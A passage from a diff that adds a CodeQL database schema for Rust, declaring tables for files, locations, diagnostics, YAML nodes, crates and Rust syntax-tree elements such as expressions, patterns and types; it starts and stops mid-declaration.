Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int 